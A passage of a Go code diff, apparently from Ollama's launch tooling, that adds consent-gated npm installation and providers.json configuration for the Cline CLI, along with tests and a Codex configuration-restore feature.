||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractWAV(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "sample.wav")
|
||||
data := make([]byte, 600)
|
||||
copy(data[:44], []byte{
|
||||
'R', 'I', 'F', 'F',
|
||||
0x58, 0x02, 0x00, 0x00,
|
||||
'W', 'A', 'V', 'E',
|
||||
'f', 'm', 't', ' ',
|
||||
0x10, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00,
|
||||
0x01, 0x00,
|
||||
0x80, 0x3e, 0x00, 0x00,
|
||||
0x00, 0x7d, 0x00, 0x00,
|
||||
0x02, 0x00,
|
||||
0x10, 0x00,
|
||||
'd', 'a', 't', 'a',
|
||||
0x34, 0x02, 0x00, 0x00,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test audio: %v", err)
|
||||
}
|
||||
|
||||
input := "before " + fp + " after"
|
||||
cleaned, imgs, err := Extract(input)
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func assertContains(t *testing.T, s, want string) {
|
||||
t.Helper()
|
||||
if !strings.Contains(s, want) {
|
||||
t.Fatalf("%q does not contain %q", s, want)
|
||||
}
|
||||
}
|
||||
|
||||
func assertNotContains(t *testing.T, s, want string) {
|
||||
t.Helper()
|
||||
if strings.Contains(s, want) {
|
||||
t.Fatalf("%q unexpectedly contains %q", s, want)
|
||||
}
|
||||
}
|
||||
|
||||
func assertNotContainsSlice(t *testing.T, ss []string, want string) {
|
||||
t.Helper()
|
||||
for _, s := range ss {
|
||||
if strings.Contains(s, want) {
|
||||
t.Fatalf("slice unexpectedly contains %q in %q", want, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
+179
-21
@@ -6,38 +6,88 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
const clineLaunchProvider = "ollama"
|
||||
|
||||
// Cline implements Runner and Editor for the Cline CLI integration
|
||||
type Cline struct{}
|
||||
|
||||
func (c *Cline) String() string { return "Cline" }
|
||||
|
||||
func (c *Cline) Run(model string, _ []LaunchModel, args []string) error {
|
||||
if _, err := exec.LookPath("cline"); err != nil {
|
||||
return fmt.Errorf("cline is not installed, install with: npm install -g cline")
|
||||
bin, err := ensureClineInstalled()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("cline", args...)
|
||||
launchArgs := clineLaunchArgs(model, args)
|
||||
cmd := exec.Command(bin, launchArgs...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func ensureClineInstalled() (string, error) {
|
||||
if _, err := exec.LookPath("cline"); err == nil {
|
||||
return "cline", nil
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("npm"); err != nil {
|
||||
return "", fmt.Errorf("cline is not installed and required dependencies are missing\n\nInstall the following first:\n npm (Node.js): https://nodejs.org/\n\nThen re-run:\n ollama launch cline")
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Cline is not installed. Install with npm?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !ok {
|
||||
return "", fmt.Errorf("cline installation cancelled")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Cline...\n")
|
||||
cmd := exec.Command("npm", "install", "-g", "cline@latest")
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install cline: %w", err)
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("cline"); err != nil {
|
||||
return "", fmt.Errorf("cline was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sCline installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return "cline", nil
|
||||
}
|
||||
|
||||
func clineLaunchArgs(model string, extra []string) []string {
|
||||
return extra
|
||||
}
|
||||
|
||||
func (c *Cline) Paths() []string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
p := filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return []string{p}
|
||||
|
||||
var paths []string
|
||||
for _, p := range []string{
|
||||
clineProvidersPath(home),
|
||||
clineLegacyGlobalStatePath(home),
|
||||
} {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
paths = append(paths, p)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return paths
|
||||
}
|
||||
|
||||
func (c *Cline) Edit(models []LaunchModel) error {
|
||||
@@ -50,26 +100,113 @@ func (c *Cline) Edit(models []LaunchModel) error {
|
||||
return err
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
providersPath := clineProvidersPath(home)
|
||||
legacyPath := clineLegacyGlobalStatePath(home)
|
||||
|
||||
providersConfig, err := readClineConfig(providersPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
legacyConfig, err := readClineConfig(legacyPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := writeClineProvidersConfig(providersPath, providersConfig, models[0].Name); err != nil {
|
||||
return err
|
||||
}
|
||||
return writeClineLegacyGlobalState(legacyPath, legacyConfig, models[0].Name)
|
||||
}
|
||||
|
||||
func clineProvidersPath(home string) string {
|
||||
return filepath.Join(home, ".cline", "data", "settings", "providers.json")
|
||||
}
|
||||
|
||||
func clineLegacyGlobalStatePath(home string) string {
|
||||
return filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
}
|
||||
|
||||
func clineOllamaRootURL() string {
|
||||
return strings.TrimRight(envconfig.ConnectableHost().String(), "/")
|
||||
}
|
||||
|
||||
func clineProviderBaseURL() string {
|
||||
return clineOllamaRootURL() + "/v1"
|
||||
}
|
||||
|
||||
func readClineConfig(configPath string) (map[string]any, error) {
|
||||
config := make(map[string]any)
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
if err := json.Unmarshal(data, &config); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
return config, nil
|
||||
}
|
||||
|
||||
func writeClineProvidersConfig(configPath string, config map[string]any, model string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
config := make(map[string]any)
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
if err := json.Unmarshal(data, &config); err != nil {
|
||||
return fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
|
||||
}
|
||||
providers, _ := config["providers"].(map[string]any)
|
||||
if providers == nil {
|
||||
providers = make(map[string]any)
|
||||
}
|
||||
|
||||
// Set Ollama as the provider for both act and plan modes
|
||||
baseURL := envconfig.Host().String()
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider == nil {
|
||||
provider = make(map[string]any)
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings == nil {
|
||||
settings = make(map[string]any)
|
||||
}
|
||||
|
||||
baseURL := clineProviderBaseURL()
|
||||
previousModel, _ := settings["model"].(string)
|
||||
previousBaseURL, _ := settings["baseUrl"].(string)
|
||||
previousTokenSource, _ := provider["tokenSource"].(string)
|
||||
|
||||
settings["provider"] = clineLaunchProvider
|
||||
settings["model"] = model
|
||||
settings["baseUrl"] = baseURL
|
||||
delete(settings, "apiKey")
|
||||
provider["settings"] = settings
|
||||
|
||||
if previousModel != model || previousBaseURL != baseURL || previousTokenSource != "manual" {
|
||||
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
|
||||
} else if _, ok := provider["updatedAt"].(string); !ok {
|
||||
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
|
||||
}
|
||||
provider["tokenSource"] = "manual"
|
||||
providers[clineLaunchProvider] = provider
|
||||
|
||||
config["version"] = float64(1)
|
||||
config["lastUsedProvider"] = clineLaunchProvider
|
||||
config["providers"] = providers
|
||||
|
||||
data, err := json.MarshalIndent(config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, data, "cline")
|
||||
}
|
||||
|
||||
func writeClineLegacyGlobalState(configPath string, config map[string]any, model string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
baseURL := clineOllamaRootURL()
|
||||
config["ollamaBaseUrl"] = baseURL
|
||||
config["actModeApiProvider"] = "ollama"
|
||||
config["actModeOllamaModelId"] = models[0].Name
|
||||
config["actModeApiProvider"] = clineLaunchProvider
|
||||
config["actModeOllamaModelId"] = model
|
||||
config["actModeOllamaBaseUrl"] = baseURL
|
||||
config["planModeApiProvider"] = "ollama"
|
||||
config["planModeOllamaModelId"] = models[0].Name
|
||||
config["planModeApiProvider"] = clineLaunchProvider
|
||||
config["planModeOllamaModelId"] = model
|
||||
config["planModeOllamaBaseUrl"] = baseURL
|
||||
|
||||
config["welcomeViewCompleted"] = true
|
||||
@@ -87,12 +224,18 @@ func (c *Cline) Models() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
config, err := fileutil.ReadJSON(filepath.Join(home, ".cline", "data", "globalState.json"))
|
||||
if model := clineProviderModel(home); model != "" {
|
||||
return []string{model}
|
||||
}
|
||||
|
||||
config, err := fileutil.ReadJSON(clineLegacyGlobalStatePath(home))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if config["actModeApiProvider"] != "ollama" {
|
||||
switch config["actModeApiProvider"] {
|
||||
case "ollama":
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -102,3 +245,18 @@ func (c *Cline) Models() []string {
|
||||
}
|
||||
return []string{modelID}
|
||||
}
|
||||
|
||||
func clineProviderModel(home string) string {
|
||||
config, err := fileutil.ReadJSON(clineProvidersPath(home))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if config["lastUsedProvider"] != clineLaunchProvider {
|
||||
return ""
|
||||
}
|
||||
providers, _ := config["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
model, _ := settings["model"].(string)
|
||||
return model
|
||||
}
|
||||
+262
-4
@@ -2,8 +2,11 @@ package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -25,6 +28,55 @@ func TestClineIntegration(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestEnsureClineInstalled(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
clinePath := filepath.Join(tmpDir, "cline")
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
printf '%%s\n' "$*" > "$HOME/npm-calls.log"
|
||||
/bin/cat > %q <<'EOF'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOF
|
||||
/bin/chmod +x %q
|
||||
exit 0
|
||||
`, clinePath, clinePath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "npm"), []byte(npmScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
oldConfirmPrompt := DefaultConfirmPrompt
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
if prompt != "Cline is not installed. Install with npm?" {
|
||||
t.Fatalf("unexpected prompt: %q", prompt)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
defer func() { DefaultConfirmPrompt = oldConfirmPrompt }()
|
||||
|
||||
bin, err := ensureClineInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureClineInstalled() error = %v", err)
|
||||
}
|
||||
if bin != "cline" {
|
||||
t.Fatalf("ensureClineInstalled() bin = %q, want %q", bin, "cline")
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "npm-calls.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := strings.TrimSpace(string(data)); got != "install -g cline@latest" {
|
||||
t.Fatalf("npm args = %q, want %q", got, "install -g cline@latest")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClineEdit(t *testing.T) {
|
||||
c := &Cline{}
|
||||
tmpDir := t.TempDir()
|
||||
@@ -32,6 +84,7 @@ func TestClineEdit(t *testing.T) {
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".cline", "data")
|
||||
configPath := filepath.Join(configDir, "globalState.json")
|
||||
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
|
||||
|
||||
readConfig := func() map[string]any {
|
||||
data, _ := os.ReadFile(configPath)
|
||||
@@ -40,6 +93,13 @@ func TestClineEdit(t *testing.T) {
|
||||
return config
|
||||
}
|
||||
|
||||
readProvidersConfig := func() map[string]any {
|
||||
data, _ := os.ReadFile(providersPath)
|
||||
var config map[string]any
|
||||
json.Unmarshal(data, &config)
|
||||
return config
|
||||
}
|
||||
|
||||
t.Run("creates config from scratch", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
|
||||
@@ -48,26 +108,56 @@ func TestClineEdit(t *testing.T) {
|
||||
}
|
||||
|
||||
config := readConfig()
|
||||
if config["actModeApiProvider"] != "ollama" {
|
||||
t.Errorf("actModeApiProvider = %v, want ollama", config["actModeApiProvider"])
|
||||
if config["actModeApiProvider"] != clineLaunchProvider {
|
||||
t.Errorf("actModeApiProvider = %v, want %s", config["actModeApiProvider"], clineLaunchProvider)
|
||||
}
|
||||
if config["actModeOllamaModelId"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("actModeOllamaModelId = %v, want kimi-k2.5:cloud", config["actModeOllamaModelId"])
|
||||
}
|
||||
if config["planModeApiProvider"] != "ollama" {
|
||||
t.Errorf("planModeApiProvider = %v, want ollama", config["planModeApiProvider"])
|
||||
if config["actModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("actModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["actModeOllamaBaseUrl"])
|
||||
}
|
||||
if config["planModeApiProvider"] != clineLaunchProvider {
|
||||
t.Errorf("planModeApiProvider = %v, want %s", config["planModeApiProvider"], clineLaunchProvider)
|
||||
}
|
||||
if config["planModeOllamaModelId"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("planModeOllamaModelId = %v, want kimi-k2.5:cloud", config["planModeOllamaModelId"])
|
||||
}
|
||||
if config["planModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("planModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["planModeOllamaBaseUrl"])
|
||||
}
|
||||
if config["ollamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("ollamaBaseUrl = %v, want http://127.0.0.1:11434", config["ollamaBaseUrl"])
|
||||
}
|
||||
if config["welcomeViewCompleted"] != true {
|
||||
t.Errorf("welcomeViewCompleted = %v, want true", config["welcomeViewCompleted"])
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
if providersConfig["lastUsedProvider"] != clineLaunchProvider {
|
||||
t.Errorf("lastUsedProvider = %v, want %s", providersConfig["lastUsedProvider"], clineLaunchProvider)
|
||||
}
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] == "" {
|
||||
t.Errorf("updatedAt = %v, want timestamp", provider["updatedAt"])
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings["model"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("settings.model = %v, want kimi-k2.5:cloud", settings["model"])
|
||||
}
|
||||
if _, ok := settings["apiKey"]; ok {
|
||||
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
|
||||
}
|
||||
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("preserves existing fields", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
|
||||
existing := map[string]any{
|
||||
"remoteRulesToggles": map[string]any{},
|
||||
@@ -77,6 +167,21 @@ func TestClineEdit(t *testing.T) {
|
||||
data, _ := json.Marshal(existing)
|
||||
os.WriteFile(configPath, data, 0o644)
|
||||
|
||||
existingProviders := map[string]any{
|
||||
"customRoot": "keep-me-too",
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"updatedAt": "2026-05-29T16:56:46.111Z",
|
||||
"settings": map[string]any{
|
||||
"apiKey": "bad-migrated-key",
|
||||
"timeout": float64(30000),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(existingProviders)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
@@ -88,6 +193,75 @@ func TestClineEdit(t *testing.T) {
|
||||
if config["actModeOllamaModelId"] != "glm-5:cloud" {
|
||||
t.Errorf("actModeOllamaModelId = %v, want glm-5:cloud", config["actModeOllamaModelId"])
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
if providersConfig["customRoot"] != "keep-me-too" {
|
||||
t.Errorf("customRoot was not preserved")
|
||||
}
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] == "2026-05-29T16:56:46.111Z" {
|
||||
t.Errorf("updatedAt = %v, want refreshed timestamp after provider change", provider["updatedAt"])
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings["timeout"] != float64(30000) {
|
||||
t.Errorf("settings.timeout = %v, want 30000", settings["timeout"])
|
||||
}
|
||||
if _, ok := settings["apiKey"]; ok {
|
||||
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
|
||||
}
|
||||
if settings["model"] != "glm-5:cloud" {
|
||||
t.Errorf("settings.model = %v, want glm-5:cloud", settings["model"])
|
||||
}
|
||||
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("validates both configs before writing providers config", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.WriteFile(configPath, []byte("{not json"), 0o644)
|
||||
|
||||
err := c.Edit(testLaunchModels("kimi-k2.5:cloud"))
|
||||
if err == nil {
|
||||
t.Fatal("expected invalid legacy config error")
|
||||
}
|
||||
if _, statErr := os.Stat(providersPath); !os.IsNotExist(statErr) {
|
||||
t.Fatalf("providers config should not be written when legacy config is invalid, stat err = %v", statErr)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("preserves updatedAt when provider settings are unchanged", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
|
||||
existingProviders := map[string]any{
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"updatedAt": "2026-05-29T16:56:46.111Z",
|
||||
"tokenSource": "manual",
|
||||
"settings": map[string]any{
|
||||
"provider": clineLaunchProvider,
|
||||
"model": "kimi-k2.5:cloud",
|
||||
"baseUrl": "http://127.0.0.1:11434/v1",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(existingProviders)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] != "2026-05-29T16:56:46.111Z" {
|
||||
t.Errorf("updatedAt = %v, want preserved timestamp", provider["updatedAt"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("updates model on re-edit", func(t *testing.T) {
|
||||
@@ -142,6 +316,7 @@ func TestClineModels(t *testing.T) {
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".cline", "data")
|
||||
configPath := filepath.Join(configDir, "globalState.json")
|
||||
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
|
||||
|
||||
t.Run("returns nil when no config", func(t *testing.T) {
|
||||
if models := c.Models(); models != nil {
|
||||
@@ -177,6 +352,55 @@ func TestClineModels(t *testing.T) {
|
||||
t.Errorf("Models() = %v, want [kimi-k2.5:cloud]", models)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("prefers CLI provider config", func(t *testing.T) {
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
config := map[string]any{
|
||||
"lastUsedProvider": clineLaunchProvider,
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"settings": map[string]any{
|
||||
"model": "glm-5:cloud",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(config)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
models := c.Models()
|
||||
if len(models) != 1 || models[0] != "glm-5:cloud" {
|
||||
t.Errorf("Models() = %v, want [glm-5:cloud]", models)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("ignores stale CLI provider config when ollama is not active", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
legacyConfig := map[string]any{
|
||||
"actModeApiProvider": "anthropic",
|
||||
"actModeOllamaModelId": "legacy-ollama-model",
|
||||
}
|
||||
data, _ := json.Marshal(legacyConfig)
|
||||
os.WriteFile(configPath, data, 0o644)
|
||||
providerConfig := map[string]any{
|
||||
"lastUsedProvider": "openai",
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"settings": map[string]any{
|
||||
"model": "stale-ollama-model",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(providerConfig)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if models := c.Models(); models != nil {
|
||||
t.Errorf("Models() = %v, want nil", models)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestClinePaths(t *testing.T) {
|
||||
@@ -201,4 +425,38 @@ func TestClinePaths(t *testing.T) {
|
||||
t.Errorf("Paths() = %v, want [%s]", paths, configPath)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns both paths when both configs exist", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
legacyPath := clineLegacyGlobalStatePath(tmpDir)
|
||||
providersPath := clineProvidersPath(tmpDir)
|
||||
os.MkdirAll(filepath.Dir(legacyPath), 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
os.WriteFile(legacyPath, []byte("{}"), 0o644)
|
||||
os.WriteFile(providersPath, []byte("{}"), 0o644)
|
||||
|
||||
paths := c.Paths()
|
||||
want := []string{providersPath, legacyPath}
|
||||
if len(paths) != len(want) {
|
||||
t.Fatalf("Paths() = %v, want %v", paths, want)
|
||||
}
|
||||
for i := range want {
|
||||
if paths[i] != want[i] {
|
||||
t.Fatalf("Paths() = %v, want %v", paths, want)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestClineLaunchArgs(t *testing.T) {
|
||||
got := clineLaunchArgs("kimi-k2.5:cloud", []string{"--json", "hello"})
|
||||
want := []string{"--json", "hello"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("args length = %d, want %d: %v", len(got), len(want), got)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("args[%d] = %q, want %q; got %v", i, got[i], want[i], got)
|
||||
}
|
||||
}
|
||||
}
|
||||
+238
-130
@@ -24,6 +24,7 @@ const (
|
||||
codexProfileName = "ollama-launch"
|
||||
codexProviderName = "Ollama"
|
||||
codexFallbackContextWindow = 128_000
|
||||
codexRestoreSuccess = "Codex launch configuration removed."
|
||||
|
||||
codexRootProfileKey = "profile"
|
||||
codexRootModelKey = "model"
|
||||
@@ -31,16 +32,20 @@ const (
|
||||
codexRootModelCatalogJSONKey = "model_catalog_json"
|
||||
)
|
||||
|
||||
func (c *Codex) args(model, modelCatalogPath string, extra []string) []string {
|
||||
func (c *Codex) args(model, modelCatalogPath string, extra []string) ([]string, error) {
|
||||
if err := codexValidateExtraArgs(extra); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
args := []string{"--profile", codexProfileName}
|
||||
if modelCatalogPath != "" {
|
||||
args = append(args, "-c", fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
for _, override := range codexManagedConfigOverrides(modelCatalogPath) {
|
||||
args = append(args, "-c", override)
|
||||
}
|
||||
if model != "" {
|
||||
args = append(args, "-m", model)
|
||||
}
|
||||
args = append(args, extra...)
|
||||
return args
|
||||
return args, nil
|
||||
}
|
||||
|
||||
func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
|
||||
@@ -57,7 +62,12 @@ func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
|
||||
return fmt.Errorf("failed to configure codex: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command("codex", c.args(model, catalogPath, args)...)
|
||||
codexArgs, err := c.args(model, catalogPath, args)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to configure codex: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command("codex", codexArgs...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
@@ -67,8 +77,134 @@ func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// ensureCodexConfig writes a Codex profile and model catalog so Codex uses the
|
||||
// local Ollama server and has model metadata available.
|
||||
func (c *Codex) Restore() error {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := removeCodexProfileConfig(); err != nil {
|
||||
return codexRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := removeCodexModelCatalogIfUnused(configPath); err != nil {
|
||||
return codexRestoreFailure(configPath, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Codex) RestoreSuccessMessage() string {
|
||||
return codexRestoreSuccess
|
||||
}
|
||||
|
||||
func (c *Codex) SkipRestoreInstallCheck() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func codexRestoreFailure(configPath string, err error) error {
|
||||
return fmt.Errorf("restore Codex config: %w\n\nRestore did not complete. Check these files before retrying:\n Codex config: %s\n CLI profile: %s\n CLI model catalog: %s\n Backups: %s",
|
||||
err,
|
||||
configPath,
|
||||
codexProfileConfigPathForConfig(configPath),
|
||||
codexModelCatalogPathForConfig(configPath),
|
||||
fileutil.BackupDir(),
|
||||
)
|
||||
}
|
||||
|
||||
func removeCodexProfileConfig() error {
|
||||
profilePath, err := codexProfileConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return removeCodexFile(profilePath)
|
||||
}
|
||||
|
||||
func removeCodexModelCatalogIfUnused(configPath string) error {
|
||||
catalogPath := codexModelCatalogPathForConfig(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
config, parseErr := codexParseConfig(string(data))
|
||||
if parseErr != nil {
|
||||
return parseErr
|
||||
}
|
||||
if config.RootString(codexRootModelCatalogJSONKey) == catalogPath {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
